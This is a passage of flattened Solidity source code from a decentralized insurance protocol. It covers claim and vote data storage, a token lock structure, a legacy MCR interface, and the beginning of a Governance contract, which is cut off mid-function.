function setRewardDistributedIndexMV(address _voter, uint mvIndex) external onlyInternal {
voterVoteRewardReceived[_voter].lastMVvoteIndex = mvIndex;
}
/**
* @param claimid claim id.
* @param percCA reward Percentage reward for claim assessor
* @param percMV reward Percentage reward for members
* @param tokens total tokens to be rewarded
*/
function setClaimRewardDetail(
uint claimid,
uint percCA,
uint percMV,
uint tokens
)
external
onlyInternal
{
claimRewardDetail[claimid].percCA = percCA;
claimRewardDetail[claimid].percMV = percMV;
claimRewardDetail[claimid].tokenToBeDist = tokens;
}
/**
* @dev Sets the reward claim status against a vote id.
* @param _voteid vote Id.
* @param claimed true if reward for vote is claimed, else false.
*/
function setRewardClaimed(uint _voteid, bool claimed) external onlyInternal {
allvotes[_voteid].rewardClaimed = claimed;
}
/**
* @dev Sets the final vote's result(either accepted or declined)of a claim.
* @param _claimId Claim Id.
* @param _verdict 1 if claim is accepted,-1 if declined.
*/
function changeFinalVerdict(uint _claimId, int8 _verdict) external onlyInternal {
claimVote[_claimId] = _verdict;
}
/**
* @dev Creates a new claim.
*/
function addClaim(
uint _claimId,
uint _coverId,
address _from,
uint _nowtime
)
external
onlyInternal
{
allClaims.push(Claim(_coverId, _nowtime));
allClaimsByAddress[_from].push(_claimId);
}
/**
* @dev Add Vote's details of a given claim.
*/
function addVote(
address _voter,
uint _tokens,
uint claimId,
int8 _verdict
)
external
onlyInternal
{
allvotes.push(Vote(_voter, _tokens, claimId, _verdict, false));
}
/**
* @dev Stores the id of the claim assessor vote given to a claim.
* Maintains record of all votes given by all the CA to a claim.
* @param _claimId Claim Id to which vote has given by the CA.
* @param _voteid Vote Id.
*/
function addClaimVoteCA(uint _claimId, uint _voteid) external onlyInternal {
claimVoteCA[_claimId].push(_voteid);
}
/**
* @dev Sets the id of the vote.
* @param _from Claim assessor's address who has given the vote.
* @param _claimId Claim Id for which vote has been given by the CA.
* @param _voteid Vote Id which will be stored against the given _from and claimid.
*/
function setUserClaimVoteCA(
address _from,
uint _claimId,
uint _voteid
)
external
onlyInternal
{
userClaimVoteCA[_from][_claimId] = _voteid;
voteAddressCA[_from].push(_voteid);
}
/**
* @dev Stores the tokens locked by the Claim Assessors during voting of a given claim.
* @param _claimId Claim Id.
* @param _vote 1 for accept and increases the tokens of claim as accept,
* -1 for deny and increases the tokens of claim as deny.
* @param _tokens Number of tokens.
*/
function setClaimTokensCA(uint _claimId, int8 _vote, uint _tokens) external onlyInternal {
if (_vote == 1)
claimTokensCA[_claimId].accept = claimTokensCA[_claimId].accept.add(_tokens);
if (_vote == - 1)
claimTokensCA[_claimId].deny = claimTokensCA[_claimId].deny.add(_tokens);
}
/**
* @dev Stores the tokens locked by the Members during voting of a given claim.
* @param _claimId Claim Id.
* @param _vote 1 for accept and increases the tokens of claim as accept,
* -1 for deny and increases the tokens of claim as deny.
* @param _tokens Number of tokens.
*/
function setClaimTokensMV(uint _claimId, int8 _vote, uint _tokens) external onlyInternal {
if (_vote == 1)
claimTokensMV[_claimId].accept = claimTokensMV[_claimId].accept.add(_tokens);
if (_vote == - 1)
claimTokensMV[_claimId].deny = claimTokensMV[_claimId].deny.add(_tokens);
}
/**
* @dev Stores the id of the member vote given to a claim.
* Maintains record of all votes given by all the Members to a claim.
* @param _claimId Claim Id to which vote has been given by the Member.
* @param _voteid Vote Id.
*/
function addClaimVotemember(uint _claimId, uint _voteid) external onlyInternal {
claimVoteMember[_claimId].push(_voteid);
}
/**
* @dev Sets the id of the vote.
* @param _from Member's address who has given the vote.
* @param _claimId Claim Id for which vote has been given by the Member.
* @param _voteid Vote Id which will be stored against the given _from and claimid.
*/
function setUserClaimVoteMember(
address _from,
uint _claimId,
uint _voteid
)
external
onlyInternal
{
userClaimVoteMember[_from][_claimId] = _voteid;
voteAddressMember[_from].push(_voteid);
}
/**
* @dev Increases the count of failure until payout of a claim is successful.
*/
function updateState12Count(uint _claimId, uint _cnt) external onlyInternal {
claimState12Count[_claimId] = claimState12Count[_claimId].add(_cnt);
}
/**
* @dev Sets status of a claim.
* @param _claimId Claim Id.
* @param _stat Status number.
*/
function setClaimStatus(uint _claimId, uint _stat) external onlyInternal {
claimsStatus[_claimId] = _stat;
}
/**
* @dev Sets the timestamp of a given claim at which the Claim's details has been updated.
* @param _claimId Claim Id of claim which has been changed.
* @param _dateUpd timestamp at which claim is updated.
*/
function setClaimdateUpd(uint _claimId, uint _dateUpd) external onlyInternal {
allClaims[_claimId].dateUpd = _dateUpd;
}
/**
@dev Queues Claims during Emergency Pause.
*/
function setClaimAtEmergencyPause(
uint _coverId,
uint _dateUpd,
bool _submit
)
external
onlyInternal
{
claimPause.push(ClaimsPause(_coverId, _dateUpd, _submit));
}
/**
* @dev Set submission flag for Claims queued during emergency pause.
* Set to true after EP is turned off and the claim is submitted .
*/
function setClaimSubmittedAtEPTrue(uint _index, bool _submit) external onlyInternal {
claimPause[_index].submit = _submit;
}
/**
* @dev Sets the index from which claim needs to be
* submitted when emergency pause is swithched off.
*/
function setFirstClaimIndexToSubmitAfterEP(
uint _firstClaimIndexToSubmit
)
external
onlyInternal
{
claimPauseLastsubmit = _firstClaimIndexToSubmit;
}
/**
* @dev Sets the pending vote duration for a claim in case of emergency pause.
*/
function setPendingClaimDetails(
uint _claimId,
uint _pendingTime,
bool _voting
)
external
onlyInternal
{
claimPauseVotingEP.push(ClaimPauseVoting(_claimId, _pendingTime, _voting));
}
/**
* @dev Sets voting flag true after claim is reopened for voting after emergency pause.
*/
function setPendingClaimVoteStatus(uint _claimId, bool _vote) external onlyInternal {
claimPauseVotingEP[_claimId].voting = _vote;
}
/**
* @dev Sets the index from which claim needs to be
* reopened when emergency pause is swithched off.
*/
function setFirstClaimIndexToStartVotingAfterEP(
uint _claimStartVotingFirstIndex
)
external
onlyInternal
{
claimStartVotingFirstIndex = _claimStartVotingFirstIndex;
}
/**
* @dev Calls Vote Event.
*/
function callVoteEvent(
address _userAddress,
uint _claimId,
bytes4 _typeOf,
uint _tokens,
uint _submitDate,
int8 _verdict
)
external
onlyInternal
{
emit VoteCast(
_userAddress,
_claimId,
_typeOf,
_tokens,
_submitDate,
_verdict
);
}
/**
* @dev Calls Claim Event.
*/
function callClaimEvent(
uint _coverId,
address _userAddress,
uint _claimId,
uint _datesubmit
)
external
onlyInternal
{
emit ClaimRaise(_coverId, _userAddress, _claimId, _datesubmit);
}
/**
* @dev Gets Uint Parameters by parameter code
* @param code whose details we want
* @return string value of the parameter
* @return associated amount (time or perc or value) to the code
*/
function getUintParameters(bytes8 code) external view returns (bytes8 codeVal, uint val) {
codeVal = code;
if (code == "CAMAXVT") {
val = maxVotingTime / (1 hours);
} else if (code == "CAMINVT") {
val = minVotingTime / (1 hours);
} else if (code == "CAPRETRY") {
val = payoutRetryTime / (1 hours);
} else if (code == "CADEPT") {
val = claimDepositTime / (1 days);
} else if (code == "CAREWPER") {
val = claimRewardPerc;
} else if (code == "CAMINTH") {
val = minVoteThreshold;
} else if (code == "CAMAXTH") {
val = maxVoteThreshold;
} else if (code == "CACONPER") {
val = majorityConsensus;
} else if (code == "CAPAUSET") {
val = pauseDaysCA / (1 days);
}
}
/**
* @dev Get claim queued during emergency pause by index.
*/
function getClaimOfEmergencyPauseByIndex(
uint _index
)
external
view
returns (
uint coverId,
uint dateUpd,
bool submit
)
{
coverId = claimPause[_index].coverid;
dateUpd = claimPause[_index].dateUpd;
submit = claimPause[_index].submit;
}
/**
* @dev Gets the Claim's details of given claimid.
*/
function getAllClaimsByIndex(
uint _claimId
)
external
view
returns (
uint coverId,
int8 vote,
uint status,
uint dateUpd,
uint state12Count
)
{
return (
allClaims[_claimId].coverId,
claimVote[_claimId],
claimsStatus[_claimId],
allClaims[_claimId].dateUpd,
claimState12Count[_claimId]
);
}
/**
* @dev Gets the vote id of a given claim of a given Claim Assessor.
*/
function getUserClaimVoteCA(
address _add,
uint _claimId
)
external
view
returns (uint idVote)
{
return userClaimVoteCA[_add][_claimId];
}
/**
* @dev Gets the vote id of a given claim of a given member.
*/
function getUserClaimVoteMember(
address _add,
uint _claimId
)
external
view
returns (uint idVote)
{
return userClaimVoteMember[_add][_claimId];
}
/**
* @dev Gets the count of all votes.
*/
function getAllVoteLength() external view returns (uint voteCount) {
return allvotes.length.sub(1); // Start Index always from 1.
}
/**
* @dev Gets the status number of a given claim.
* @param _claimId Claim id.
* @return statno Status Number.
*/
function getClaimStatusNumber(uint _claimId) external view returns (uint claimId, uint statno) {
return (_claimId, claimsStatus[_claimId]);
}
/**
* @dev Gets the reward percentage to be distributed for a given status id
* @param statusNumber the number of type of status
* @return percCA reward Percentage for claim assessor
* @return percMV reward Percentage for members
*/
function getRewardStatus(uint statusNumber) external view returns (uint percCA, uint percMV) {
return (rewardStatus[statusNumber].percCA, rewardStatus[statusNumber].percMV);
}
/**
* @dev Gets the number of tries that have been made for a successful payout of a Claim.
*/
function getClaimState12Count(uint _claimId) external view returns (uint num) {
num = claimState12Count[_claimId];
}
/**
* @dev Gets the last update date of a claim.
*/
function getClaimDateUpd(uint _claimId) external view returns (uint dateupd) {
dateupd = allClaims[_claimId].dateUpd;
}
/**
* @dev Gets all Claims created by a user till date.
* @param _member user's address.
* @return claimarr List of Claims id.
*/
function getAllClaimsByAddress(address _member) external view returns (uint[] memory claimarr) {
return allClaimsByAddress[_member];
}
/**
* @dev Gets the number of tokens that has been locked
* while giving vote to a claim by Claim Assessors.
* @param _claimId Claim Id.
* @return accept Total number of tokens when CA accepts the claim.
* @return deny Total number of tokens when CA declines the claim.
*/
function getClaimsTokenCA(
uint _claimId
)
external
view
returns (
uint claimId,
uint accept,
uint deny
)
{
return (
_claimId,
claimTokensCA[_claimId].accept,
claimTokensCA[_claimId].deny
);
}
/**
* @dev Gets the number of tokens that have been
* locked while assessing a claim as a member.
* @param _claimId Claim Id.
* @return accept Total number of tokens in acceptance of the claim.
* @return deny Total number of tokens against the claim.
*/
function getClaimsTokenMV(
uint _claimId
)
external
view
returns (
uint claimId,
uint accept,
uint deny
)
{
return (
_claimId,
claimTokensMV[_claimId].accept,
claimTokensMV[_claimId].deny
);
}
/**
* @dev Gets the total number of votes cast as Claims assessor for/against a given claim
*/
function getCaClaimVotesToken(uint _claimId) external view returns (uint claimId, uint cnt) {
claimId = _claimId;
cnt = 0;
for (uint i = 0; i < claimVoteCA[_claimId].length; i++) {
cnt = cnt.add(allvotes[claimVoteCA[_claimId][i]].tokens);
}
}
/**
* @dev Gets the total number of tokens cast as a member for/against a given claim
*/
function getMemberClaimVotesToken(
uint _claimId
)
external
view
returns (uint claimId, uint cnt)
{
claimId = _claimId;
cnt = 0;
for (uint i = 0; i < claimVoteMember[_claimId].length; i++) {
cnt = cnt.add(allvotes[claimVoteMember[_claimId][i]].tokens);
}
}
/**
* @dev Provides information of a vote when given its vote id.
* @param _voteid Vote Id.
*/
function getVoteDetails(uint _voteid)
external view
returns (
uint tokens,
uint claimId,
int8 verdict,
bool rewardClaimed
)
{
return (
allvotes[_voteid].tokens,
allvotes[_voteid].claimId,
allvotes[_voteid].verdict,
allvotes[_voteid].rewardClaimed
);
}
/**
* @dev Gets the voter's address of a given vote id.
*/
function getVoterVote(uint _voteid) external view returns (address voter) {
return allvotes[_voteid].voter;
}
/**
* @dev Provides information of a Claim when given its claim id.
* @param _claimId Claim Id.
*/
function getClaim(
uint _claimId
)
external
view
returns (
uint claimId,
uint coverId,
int8 vote,
uint status,
uint dateUpd,
uint state12Count
)
{
return (
_claimId,
allClaims[_claimId].coverId,
claimVote[_claimId],
claimsStatus[_claimId],
allClaims[_claimId].dateUpd,
claimState12Count[_claimId]
);
}
/**
* @dev Gets the total number of votes of a given claim.
* @param _claimId Claim Id.
* @param _ca if 1: votes given by Claim Assessors to a claim,
* else returns the number of votes of given by Members to a claim.
* @return len total number of votes for/against a given claim.
*/
function getClaimVoteLength(
uint _claimId,
uint8 _ca
)
external
view
returns (uint claimId, uint len)
{
claimId = _claimId;
if (_ca == 1)
len = claimVoteCA[_claimId].length;
else
len = claimVoteMember[_claimId].length;
}
/**
* @dev Gets the verdict of a vote using claim id and index.
* @param _ca 1 for vote given as a CA, else for vote given as a member.
* @return ver 1 if vote was given in favour,-1 if given in against.
*/
function getVoteVerdict(
uint _claimId,
uint _index,
uint8 _ca
)
external
view
returns (int8 ver)
{
if (_ca == 1)
ver = allvotes[claimVoteCA[_claimId][_index]].verdict;
else
ver = allvotes[claimVoteMember[_claimId][_index]].verdict;
}
/**
* @dev Gets the Number of tokens of a vote using claim id and index.
* @param _ca 1 for vote given as a CA, else for vote given as a member.
* @return tok Number of tokens.
*/
function getVoteToken(
uint _claimId,
uint _index,
uint8 _ca
)
external
view
returns (uint tok)
{
if (_ca == 1)
tok = allvotes[claimVoteCA[_claimId][_index]].tokens;
else
tok = allvotes[claimVoteMember[_claimId][_index]].tokens;
}
/**
* @dev Gets the Voter's address of a vote using claim id and index.
* @param _ca 1 for vote given as a CA, else for vote given as a member.
* @return voter Voter's address.
*/
function getVoteVoter(
uint _claimId,
uint _index,
uint8 _ca
)
external
view
returns (address voter)
{
if (_ca == 1)
voter = allvotes[claimVoteCA[_claimId][_index]].voter;
else
voter = allvotes[claimVoteMember[_claimId][_index]].voter;
}
/**
* @dev Gets total number of Claims created by a user till date.
* @param _add User's address.
*/
function getUserClaimCount(address _add) external view returns (uint len) {
len = allClaimsByAddress[_add].length;
}
/**
* @dev Calculates number of Claims that are in pending state.
*/
function getClaimLength() external view returns (uint len) {
len = allClaims.length.sub(pendingClaimStart);
}
/**
* @dev Gets the Number of all the Claims created till date.
*/
function actualClaimLength() external view returns (uint len) {
len = allClaims.length;
}
/**
* @dev Gets details of a claim.
* @param _index claim id = pending claim start + given index
* @param _add User's address.
* @return coverid cover against which claim has been submitted.
* @return claimId Claim Id.
* @return voteCA verdict of vote given as a Claim Assessor.
* @return voteMV verdict of vote given as a Member.
* @return statusnumber Status of claim.
*/
function getClaimFromNewStart(
uint _index,
address _add
)
external
view
returns (
uint coverid,
uint claimId,
int8 voteCA,
int8 voteMV,
uint statusnumber
)
{
uint i = pendingClaimStart.add(_index);
coverid = allClaims[i].coverId;
claimId = i;
if (userClaimVoteCA[_add][i] > 0)
voteCA = allvotes[userClaimVoteCA[_add][i]].verdict;
else
voteCA = 0;
if (userClaimVoteMember[_add][i] > 0)
voteMV = allvotes[userClaimVoteMember[_add][i]].verdict;
else
voteMV = 0;
statusnumber = claimsStatus[i];
}
/**
* @dev Gets details of a claim of a user at a given index.
*/
function getUserClaimByIndex(
uint _index,
address _add
)
external
view
returns (
uint status,
uint coverid,
uint claimId
)
{
claimId = allClaimsByAddress[_add][_index];
status = claimsStatus[claimId];
coverid = allClaims[claimId].coverId;
}
/**
* @dev Gets Id of all the votes given to a claim.
* @param _claimId Claim Id.
* @return ca id of all the votes given by Claim assessors to a claim.
* @return mv id of all the votes given by members to a claim.
*/
function getAllVotesForClaim(
uint _claimId
)
external
view
returns (
uint claimId,
uint[] memory ca,
uint[] memory mv
)
{
return (_claimId, claimVoteCA[_claimId], claimVoteMember[_claimId]);
}
/**
* @dev Gets Number of tokens deposit in a vote using
* Claim assessor's address and claim id.
* @return tokens Number of deposited tokens.
*/
function getTokensClaim(
address _of,
uint _claimId
)
external
view
returns (
uint claimId,
uint tokens
)
{
return (_claimId, allvotes[userClaimVoteCA[_of][_claimId]].tokens);
}
/**
* @param _voter address of the voter.
* @return lastCAvoteIndex last index till which reward was distributed for CA
* @return lastMVvoteIndex last index till which reward was distributed for member
*/
function getRewardDistributedIndex(
address _voter
)
external
view
returns (
uint lastCAvoteIndex,
uint lastMVvoteIndex
)
{
return (
voterVoteRewardReceived[_voter].lastCAvoteIndex,
voterVoteRewardReceived[_voter].lastMVvoteIndex
);
}
/**
* @param claimid claim id.
* @return perc_CA reward Percentage for claim assessor
* @return perc_MV reward Percentage for members
* @return tokens total tokens to be rewarded
*/
function getClaimRewardDetail(
uint claimid
)
external
view
returns (
uint percCA,
uint percMV,
uint tokens
)
{
return (
claimRewardDetail[claimid].percCA,
claimRewardDetail[claimid].percMV,
claimRewardDetail[claimid].tokenToBeDist
);
}
/**
* @dev Gets cover id of a claim.
*/
function getClaimCoverId(uint _claimId) external view returns (uint claimId, uint coverid) {
return (_claimId, allClaims[_claimId].coverId);
}
/**
* @dev Gets total number of tokens staked during voting by Claim Assessors.
* @param _claimId Claim Id.
* @param _verdict 1 to get total number of accept tokens, -1 to get total number of deny tokens.
* @return token token Number of tokens(either accept or deny on the basis of verdict given as parameter).
*/
function getClaimVote(uint _claimId, int8 _verdict) external view returns (uint claimId, uint token) {
claimId = _claimId;
token = 0;
for (uint i = 0; i < claimVoteCA[_claimId].length; i++) {
if (allvotes[claimVoteCA[_claimId][i]].verdict == _verdict)
token = token.add(allvotes[claimVoteCA[_claimId][i]].tokens);
}
}
/**
* @dev Gets total number of tokens staked during voting by Members.
* @param _claimId Claim Id.
* @param _verdict 1 to get total number of accept tokens,
* -1 to get total number of deny tokens.
* @return token token Number of tokens(either accept or
* deny on the basis of verdict given as parameter).
*/
function getClaimMVote(uint _claimId, int8 _verdict) external view returns (uint claimId, uint token) {
claimId = _claimId;
token = 0;
for (uint i = 0; i < claimVoteMember[_claimId].length; i++) {
if (allvotes[claimVoteMember[_claimId][i]].verdict == _verdict)
token = token.add(allvotes[claimVoteMember[_claimId][i]].tokens);
}
}
/**
* @param _voter address of voteid
* @param index index to get voteid in CA
*/
function getVoteAddressCA(address _voter, uint index) external view returns (uint) {
return voteAddressCA[_voter][index];
}
/**
* @param _voter address of voter
* @param index index to get voteid in member vote
*/
function getVoteAddressMember(address _voter, uint index) external view returns (uint) {
return voteAddressMember[_voter][index];
}
/**
* @param _voter address of voter
*/
function getVoteAddressCALength(address _voter) external view returns (uint) {
return voteAddressCA[_voter].length;
}
/**
* @param _voter address of voter
*/
function getVoteAddressMemberLength(address _voter) external view returns (uint) {
return voteAddressMember[_voter].length;
}
/**
* @dev Gets the Final result of voting of a claim.
* @param _claimId Claim id.
* @return verdict 1 if claim is accepted, -1 if declined.
*/
function getFinalVerdict(uint _claimId) external view returns (int8 verdict) {
return claimVote[_claimId];
}
/**
* @dev Get number of Claims queued for submission during emergency pause.
*/
function getLengthOfClaimSubmittedAtEP() external view returns (uint len) {
len = claimPause.length;
}
/**
* @dev Gets the index from which claim needs to be
* submitted when emergency pause is swithched off.
*/
function getFirstClaimIndexToSubmitAfterEP() external view returns (uint indexToSubmit) {
indexToSubmit = claimPauseLastsubmit;
}
/**
* @dev Gets number of Claims to be reopened for voting post emergency pause period.
*/
function getLengthOfClaimVotingPause() external view returns (uint len) {
len = claimPauseVotingEP.length;
}
/**
* @dev Gets claim details to be reopened for voting after emergency pause.
*/
function getPendingClaimDetailsByIndex(
uint _index
)
external
view
returns (
uint claimId,
uint pendingTime,
bool voting
)
{
claimId = claimPauseVotingEP[_index].claimid;
pendingTime = claimPauseVotingEP[_index].pendingTime;
voting = claimPauseVotingEP[_index].voting;
}
/**
* @dev Gets the index from which claim needs to be reopened when emergency pause is swithched off.
*/
function getFirstClaimIndexToStartVotingAfterEP() external view returns (uint firstindex) {
firstindex = claimStartVotingFirstIndex;
}
/**
* @dev Updates Uint Parameters of a code
* @param code whose details we want to update
* @param val value to set
*/
function updateUintParameters(bytes8 code, uint val) public {
require(ms.checkIsAuthToGoverned(msg.sender));
if (code == "CAMAXVT") {
_setMaxVotingTime(val * 1 hours);
} else if (code == "CAMINVT") {
_setMinVotingTime(val * 1 hours);
} else if (code == "CAPRETRY") {
_setPayoutRetryTime(val * 1 hours);
} else if (code == "CADEPT") {
_setClaimDepositTime(val * 1 days);
} else if (code == "CAREWPER") {
_setClaimRewardPerc(val);
} else if (code == "CAMINTH") {
_setMinVoteThreshold(val);
} else if (code == "CAMAXTH") {
_setMaxVoteThreshold(val);
} else if (code == "CACONPER") {
_setMajorityConsensus(val);
} else if (code == "CAPAUSET") {
_setPauseDaysCA(val * 1 days);
} else {
revert("Invalid param code");
}
}
/**
* @dev Iupgradable Interface to update dependent contract address
*/
function changeDependentContractAddress() public onlyInternal {}
/**
* @dev Adds status under which a claim can lie.
* @param percCA reward percentage for claim assessor
* @param percMV reward percentage for members
*/
function _pushStatus(uint percCA, uint percMV) internal {
rewardStatus.push(ClaimRewardStatus(percCA, percMV));
}
/**
* @dev adds reward incentive for all possible claim status for Claim assessors and members
*/
function _addRewardIncentive() internal {
_pushStatus(0, 0); // 0 Pending-Claim Assessor Vote
_pushStatus(0, 0); // 1 Pending-Claim Assessor Vote Denied, Pending Member Vote
_pushStatus(0, 0); // 2 Pending-CA Vote Threshold not Reached Accept, Pending Member Vote
_pushStatus(0, 0); // 3 Pending-CA Vote Threshold not Reached Deny, Pending Member Vote
_pushStatus(0, 0); // 4 Pending-CA Consensus not reached Accept, Pending Member Vote
_pushStatus(0, 0); // 5 Pending-CA Consensus not reached Deny, Pending Member Vote
_pushStatus(100, 0); // 6 Final-Claim Assessor Vote Denied
_pushStatus(100, 0); // 7 Final-Claim Assessor Vote Accepted
_pushStatus(0, 100); // 8 Final-Claim Assessor Vote Denied, MV Accepted
_pushStatus(0, 100); // 9 Final-Claim Assessor Vote Denied, MV Denied
_pushStatus(0, 0); // 10 Final-Claim Assessor Vote Accept, MV Nodecision
_pushStatus(0, 0); // 11 Final-Claim Assessor Vote Denied, MV Nodecision
_pushStatus(0, 0); // 12 Claim Accepted Payout Pending
_pushStatus(0, 0); // 13 Claim Accepted No Payout
_pushStatus(0, 0); // 14 Claim Accepted Payout Done
}
/**
* @dev Sets Maximum time(in seconds) for which claim assessment voting is open
*/
function _setMaxVotingTime(uint _time) internal {
maxVotingTime = _time;
}
/**
* @dev Sets Minimum time(in seconds) for which claim assessment voting is open
*/
function _setMinVotingTime(uint _time) internal {
minVotingTime = _time;
}
/**
* @dev Sets Minimum vote threshold required
*/
function _setMinVoteThreshold(uint val) internal {
minVoteThreshold = val;
}
/**
* @dev Sets Maximum vote threshold required
*/
function _setMaxVoteThreshold(uint val) internal {
maxVoteThreshold = val;
}
/**
* @dev Sets the value considered as Majority Consenus in voting
*/
function _setMajorityConsensus(uint val) internal {
majorityConsensus = val;
}
/**
* @dev Sets the payout retry time
*/
function _setPayoutRetryTime(uint _time) internal {
payoutRetryTime = _time;
}
/**
* @dev Sets percentage of reward given for claim assessment
*/
function _setClaimRewardPerc(uint _val) internal {
claimRewardPerc = _val;
}
/**
* @dev Sets the time for which claim is deposited.
*/
function _setClaimDepositTime(uint _time) internal {
claimDepositTime = _time;
}
/**
* @dev Sets number of days claim assessment will be paused
*/
function _setPauseDaysCA(uint val) internal {
pauseDaysCA = val;
}
}
pragma solidity ^0.5.0;
/**
* @title ERC1132 interface
* @dev see https://github.com/ethereum/EIPs/issues/1132
*/
contract LockHandler {
/**
* @dev Reasons why a user's tokens have been locked
*/
mapping(address => bytes32[]) public lockReason;
/**
* @dev locked token structure
*/
struct LockToken {
uint256 amount;
uint256 validity;
bool claimed;
}
/**
* @dev Holds number & validity of tokens locked for a given reason for
* a specified address
*/
mapping(address => mapping(bytes32 => LockToken)) public locked;
}
pragma solidity ^0.5.0;
interface LegacyMCR {
function addMCRData(uint mcrP, uint mcrE, uint vF, bytes4[] calldata curr, uint[] calldata _threeDayAvg, uint64 onlyDate) external;
function addLastMCRData(uint64 date) external;
function changeDependentContractAddress() external;
function getAllSumAssurance() external view returns (uint amount);
function _calVtpAndMCRtp(uint poolBalance) external view returns (uint vtp, uint mcrtp);
function calculateStepTokenPrice(bytes4 curr, uint mcrtp) external view returns (uint tokenPrice);
function calculateTokenPrice(bytes4 curr) external view returns (uint tokenPrice);
function calVtpAndMCRtp() external view returns (uint vtp, uint mcrtp);
function calculateVtpAndMCRtp(uint poolBalance) external view returns (uint vtp, uint mcrtp);
function getThresholdValues(uint vtp, uint vF, uint totalSA, uint minCap) external view returns (uint lowerThreshold, uint upperThreshold);
function getMaxSellTokens() external view returns (uint maxTokens);
function getUintParameters(bytes8 code) external view returns (bytes8 codeVal, uint val);
function updateUintParameters(bytes8 code, uint val) external;
function variableMincap() external view returns (uint);
function dynamicMincapThresholdx100() external view returns (uint);
function dynamicMincapIncrementx100() external view returns (uint);
function getLastMCREther() external view returns (uint);
}
// /* Copyright (C) 2017 GovBlocks.io
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../token/TokenController.sol";
import "./MemberRoles.sol";
import "./ProposalCategory.sol";
import "./external/IGovernance.sol";
contract Governance is IGovernance, Iupgradable {
using SafeMath for uint;
enum ProposalStatus {
Draft,
AwaitingSolution,
VotingStarted,
Accepted,
Rejected,
Majority_Not_Reached_But_Accepted,
Denied
}
struct ProposalData {
uint propStatus;
uint finalVerdict;
uint category;
uint commonIncentive;
uint dateUpd;
address owner;
}
struct ProposalVote {
address voter;
uint proposalId;
uint dateAdd;
}
struct VoteTally {
mapping(uint => uint) memberVoteValue;
mapping(uint => uint) abVoteValue;
uint voters;
}
struct DelegateVote {
address follower;
address leader;
uint lastUpd;
}
ProposalVote[] internal allVotes;
DelegateVote[] public allDelegation;
mapping(uint => ProposalData) internal allProposalData;
mapping(uint => bytes[]) internal allProposalSolutions;
mapping(address => uint[]) internal allVotesByMember;
mapping(uint => mapping(address => bool)) public rewardClaimed;
mapping(address => mapping(uint => uint)) public memberProposalVote;
mapping(address => uint) public followerDelegation;
mapping(address => uint) internal followerCount;
mapping(address => uint[]) internal leaderDelegation;
mapping(uint => VoteTally) public proposalVoteTally;
mapping(address => bool) public isOpenForDelegation;
mapping(address => uint) public lastRewardClaimed;
bool internal constructorCheck;
uint public tokenHoldingTime;
uint internal roleIdAllowedToCatgorize;
uint internal maxVoteWeigthPer;
uint internal specialResolutionMajPerc;
uint internal maxFollowers;
uint internal totalProposals;
uint internal maxDraftTime;
MemberRoles internal memberRole;
ProposalCategory internal proposalCategory;
TokenController internal tokenInstance;
mapping(uint => uint) public proposalActionStatus;
mapping(uint => uint) internal proposalExecutionTime;
mapping(uint => mapping(address => bool)) public proposalRejectedByAB;
mapping(uint => uint) internal actionRejectedCount;
bool internal actionParamsInitialised;
uint internal actionWaitingTime;
uint constant internal AB_MAJ_TO_REJECT_ACTION = 3;
enum ActionStatus {
Pending,
Accepted,
Rejected,
Executed,
NoAction
}
/**
* @dev Called whenever an action execution is failed.
*/
event ActionFailed (
uint256 proposalId
);
/**
* @dev Called whenever an AB member rejects the action execution.
*/
event ActionRejected (
uint256 indexed proposalId,
address rejectedBy
);
/**
* @dev Checks if msg.sender is proposal owner
*/
modifier onlyProposalOwner(uint _proposalId) {
require(msg.sender == allProposalData[_proposalId].owner, "Not allowed");
_;
}
/**
* @dev Checks if proposal is opened for voting
*/
modifier voteNotStarted(uint _proposalId) {
require(allProposalData[_proposalId].propStatus < uint(ProposalStatus.VotingStarted));
_;
}
/**
* @dev Checks if msg.sender is allowed to create proposal under given category
*/
modifier isAllowed(uint _categoryId) {
require(allowedToCreateProposal(_categoryId), "Not allowed");
_;
}
/**
* @dev Checks if msg.sender is allowed categorize proposal under given category
*/
modifier isAllowedToCategorize() {
require(memberRole.checkRole(msg.sender, roleIdAllowedToCatgorize), "Not allowed");
_;
}
/**
* @dev Checks if msg.sender had any pending rewards to be claimed
*/
modifier checkPendingRewards {
require(getPendingReward(msg.sender) == 0, "Claim reward");
_;
}
/**
* @dev Event emitted whenever a proposal is categorized
*/
event ProposalCategorized(
uint indexed proposalId,
address indexed categorizedBy,
uint categoryId
);
/**
* @dev Removes delegation of an address.
* @param _add address to undelegate.
*/
function removeDelegation(address _add) external onlyInternal {
_unDelegate(_add);
}
/**
* @dev Creates a new proposal
* @param _proposalDescHash Proposal description hash through IPFS having Short and long description of proposal
* @param _categoryId This id tells under which the proposal is categorized i.e. Proposal's Objective
*/
function createProposal(
string calldata _proposalTitle,
string calldata _proposalSD,
string calldata _proposalDescHash,
uint _categoryId
)
external isAllowed(_categoryId)
{
require(ms.isMember(msg.sender), "Not Member");
_createProposal(_proposalTitle, _proposalSD, _proposalDescHash, _categoryId);
}
/**
* @dev Edits the details of an existing proposal
* @param _proposalId Proposal id that details needs to be updated
* @param _proposalDescHash Proposal description hash having long and short description of proposal.
*/
function updateProposal(
uint _proposalId,
string calldata _proposalTitle,
string calldata _proposalSD,
string calldata _proposalDescHash
)
external onlyProposalOwner(_proposalId)
{
require(
allProposalSolutions[_proposalId].length < 2,
"Not allowed"
);
allProposalData[_proposalId].propStatus = uint(ProposalStatus.Draft);
allProposalData[_proposalId].category = 0;
allProposalData[_proposalId].commonIncentive = 0;
emit Proposal(
allProposalData[_proposalId].owner,
_proposalId,
now,
_proposalTitle,
_proposalSD,
_proposalDescHash
);
}
/**
* @dev Categorizes proposal to proceed further. Categories shows the proposal objective.
*/
function categorizeProposal(
uint _proposalId,
uint _categoryId,
uint _incentive
)
external
voteNotStarted(_proposalId) isAllowedToCategorize
{
_categorizeProposal(_proposalId, _categoryId, _incentive);
}
/**
* @dev Submit proposal with solution
* @param _proposalId Proposal id
* @param _solutionHash Solution hash contains parameters, values and description needed according to proposal
*/
function submitProposalWithSolution(
uint _proposalId,
string calldata _solutionHash,
bytes calldata _action
)
external
onlyProposalOwner(_proposalId)
{
require(allProposalData[_proposalId].propStatus == uint(ProposalStatus.AwaitingSolution));
